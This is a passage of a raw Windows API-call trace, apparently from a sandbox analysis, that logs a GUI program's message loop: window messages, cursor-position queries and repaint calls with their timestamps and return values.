0x70042 [0257.199] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd0365) returned 0x12 [0257.199] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.199] GetCurrentProcessId () returned 0x8d0 [0257.199] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0257.199] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.199] PtInRect (lprc=0x18fd80, pt=0x122) returned 0 [0257.199] GetCapture () returned 0x0 [0257.199] WaitMessage () returned 1 [0257.201] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd035b) returned 0x1 [0257.202] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=859, y=477)) returned 1 [0257.202] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.202] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.202] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.202] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.202] GetCapture () returned 0x0 [0257.202] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.202] WindowFromPoint (Point=0x35b) returned 0xa0060 [0257.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd035b) returned 0x1 [0257.202] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.202] GetCurrentProcessId () returned 0x8d0 [0257.202] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.203] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.203] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x6004a) returned 0x0 [0257.207] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f808 | out: lpdwProcessId=0x18f808) returned 0x8cc [0257.207] GetCurrentProcessId () returned 0x8d0 [0257.207] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.207] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18fa78) returned 0x0 [0257.207] GetKeyState (nVirtKey=18) returned 0 [0257.207] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.207] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.207] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.207] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x2a2, wParam=0x0, lParam=0x0) returned 0x0 [0257.208] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.208] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.208] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.208] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.208] GetClientRect (in: hWnd=0xa0060, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0257.208] FillRect (hDC=0x2a010b57, lprc=0x18f778, hbr=0xf100188) returned 1 [0257.210] IsIconic (hWnd=0x70042) returned 0 [0257.210] IsIconic (hWnd=0x70042) returned 0 [0257.211] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.211] FillRect (hDC=0x180106b1, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.211] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x180106b1, lParam=0x4) returned 0x0 [0257.211] SendMessageA (hWnd=0xa0060, Msg=0xbd35, wParam=0x180106b1, lParam=0xa0060) returned 0xf100188 [0257.211] GetSysColor (nIndex=8) returned 0x0 [0257.211] SetTextColor (hdc=0x180106b1, color=0x0) returned 0x0 [0257.211] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.211] SetBkColor (hdc=0x180106b1, color=0xf0f0f0) returned 0xffffff [0257.212] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.212] GetCurrentProcessId () returned 0x8d0 [0257.212] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0257.212] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.212] GetCurrentProcessId () returned 0x8d0 [0257.212] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0257.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0257.213] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0x7, lParam=0x18e63c) returned 0x6 [0257.213] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0xe, lParam=0x18e614) returned 0x6 [0257.215] IsIconic (hWnd=0x70042) returned 0 [0257.215] IsIconic (hWnd=0x70042) returned 0 [0257.215] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.215] FillRect (hDC=0x3c01069b, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.215] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x3c01069b, lParam=0x4) returned 0x0 [0257.216] SendMessageA (hWnd=0xa0060, Msg=0xbd35, wParam=0x3c01069b, lParam=0xa0060) returned 0xf100188 [0257.216] GetSysColor (nIndex=8) returned 0x0 [0257.216] SetTextColor (hdc=0x3c01069b, color=0x0) returned 0x0 [0257.216] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.216] SetBkColor (hdc=0x3c01069b, color=0xf0f0f0) returned 0xffffff [0257.216] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.216] GetCurrentProcessId () returned 0x8d0 [0257.216] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.216] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0257.216] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.216] GetCurrentProcessId () returned 0x8d0 [0257.216] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.216] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0257.216] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0257.216] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0x7, lParam=0x18e63c) returned 0x6 [0257.217] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0xe, lParam=0x18e614) returned 0x6 [0257.220] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.220] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0351) returned 0x1 [0257.221] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=849, y=477)) returned 1 [0257.221] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.221] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.221] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.221] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.221] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.221] GetCapture () returned 0x0 [0257.221] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.221] WindowFromPoint (Point=0x351) returned 0xa0060 [0257.221] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0351) returned 0x1 [0257.221] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.221] GetCurrentProcessId () returned 0x8d0 [0257.221] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.222] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60040) returned 0x0 [0257.222] GetKeyState (nVirtKey=18) returned 0 [0257.222] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.222] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=849, y=477)) returned 1 [0257.222] WindowFromPoint (Point=0x351) returned 0xa0060 [0257.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0351) returned 0x1 [0257.222] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.222] GetCurrentProcessId () returned 0x8d0 [0257.222] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.222] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.222] GetCapture () returned 0x0 [0257.222] WaitMessage () returned 1 [0257.230] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.230] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0347) returned 0x1 [0257.230] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=839, y=477)) returned 1 [0257.230] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.230] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.230] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.230] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.230] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.230] GetCapture () returned 0x0 [0257.230] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.230] WindowFromPoint (Point=0x347) returned 0xa0060 [0257.230] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0347) returned 0x1 [0257.231] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.231] GetCurrentProcessId () returned 0x8d0 [0257.231] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.231] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.231] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60036) returned 0x0 [0257.231] GetKeyState (nVirtKey=18) returned 0 [0257.231] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.231] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=839, y=477)) returned 1 [0257.231] WindowFromPoint (Point=0x345) returned 0xa0060 [0257.231] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1da0345) returned 0x1 [0257.231] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.231] GetCurrentProcessId () returned 0x8d0 [0257.231] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.231] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.231] GetCapture () returned 0x0 [0257.231] WaitMessage () returned 1 [0257.241] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.241] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd033d) returned 0x1 [0257.241] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=829, y=477)) returned 1 [0257.241] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.241] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.241] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.241] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.241] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.241] GetCapture () returned 0x0 [0257.241] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.241] WindowFromPoint (Point=0x33d) returned 0xa0060 [0257.241] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd033d) returned 0x1 [0257.242] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.242] GetCurrentProcessId () returned 0x8d0 [0257.242] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.242] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.242] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x6002c) returned 0x0 [0257.242] GetKeyState (nVirtKey=18) returned 0 [0257.242] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.242] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=829, y=477)) returned 1 [0257.242] WindowFromPoint (Point=0x33d) returned 0xa0060 [0257.242] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd033d) returned 0x1 [0257.242] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.242] GetCurrentProcessId () returned 0x8d0 [0257.242] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.242] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.242] GetCapture () returned 0x0 [0257.242] WaitMessage () returned 1 [0257.296] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.296] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0333) returned 0x1 [0257.296] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=819, y=477)) returned 1 [0257.296] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.296] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.297] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.297] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.297] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.297] GetCapture () returned 0x0 [0257.297] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.297] WindowFromPoint (Point=0x333) returned 0xa0060 [0257.297] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0333) returned 0x1 [0257.297] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.297] GetCurrentProcessId () returned 0x8d0 [0257.297] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.297] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.297] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60022) returned 0x0 [0257.297] GetKeyState (nVirtKey=18) returned 0 [0257.297] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.297] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.297] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.298] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.298] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=819, y=477)) returned 1 [0257.298] WindowFromPoint (Point=0x332) returned 0xa0060 [0257.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0332) returned 0x1 [0257.298] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.299] GetCurrentProcessId () returned 0x8d0 [0257.299] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.299] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.299] GetCapture () returned 0x0 [0257.299] WaitMessage () returned 1 [0257.304] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.304] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0329) returned 0x1 [0257.304] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=809, y=477)) returned 1 [0257.304] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.304] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.304] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.304] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.304] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.304] GetCapture () returned 0x0 [0257.304] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.304] WindowFromPoint (Point=0x329) returned 0xa0060 [0257.305] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0329) returned 0x1 [0257.305] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.305] GetCurrentProcessId () returned 0x8d0 [0257.305] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.305] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.305] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60018) returned 0x0 [0257.305] GetKeyState (nVirtKey=18) returned 0 [0257.305] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.305] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=809, y=477)) returned 1 [0257.305] WindowFromPoint (Point=0x32b) returned 0xa0060 [0257.305] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd032b) returned 0x1 [0257.305] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.305] GetCurrentProcessId () returned 0x8d0 [0257.305] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.305] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.305] GetCapture () returned 0x0 [0257.305] WaitMessage () returned 1 [0257.339] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.339] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031f) returned 0x1 [0257.339] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=799, y=477)) returned 1 [0257.339] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.339] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.339] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.339] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.339] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.339] GetCapture () returned 0x0 [0257.339] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.339] WindowFromPoint (Point=0x31f) returned 0xa0060 [0257.339] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031f) returned 0x1 [0257.339] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.339] GetCurrentProcessId () returned 0x8d0 [0257.339] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.339] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x6000e) returned 0x0 [0257.340] GetKeyState (nVirtKey=18) returned 0 [0257.340] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.340] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=799, y=477)) returned 1 [0257.340] WindowFromPoint (Point=0x31f) returned 0xa0060 [0257.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031f) returned 0x1 [0257.340] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.340] GetCurrentProcessId () returned 0x8d0 [0257.340] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.340] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.340] GetCapture () returned 0x0 [0257.340] WaitMessage () returned 1 [0257.353] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.353] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.353] DispatchMessageA (lpMsg=0x18fdcc) returned 0x5e1368 [0257.354] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.354] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.354] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.355] IsIconic (hWnd=0x70042) returned 0 [0257.355] IsIconic (hWnd=0x70042) returned 0 [0257.355] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.355] FillRect (hDC=0x9010b78, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.355] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x9010b78, lParam=0x4) returned 0x0 [0257.355] SendMessageA (hWnd=0x40050, Msg=0xbd35, wParam=0x9010b78, lParam=0x40050) returned 0xf100188 [0257.355] GetSysColor (nIndex=8) returned 0x0 [0257.355] SetTextColor (hdc=0x9010b78, color=0x0) returned 0x0 [0257.355] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.355] SetBkColor (hdc=0x9010b78, color=0xf0f0f0) returned 0xffffff [0257.355] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.355] GetCurrentProcessId () returned 0x8d0 [0257.355] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.355] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, 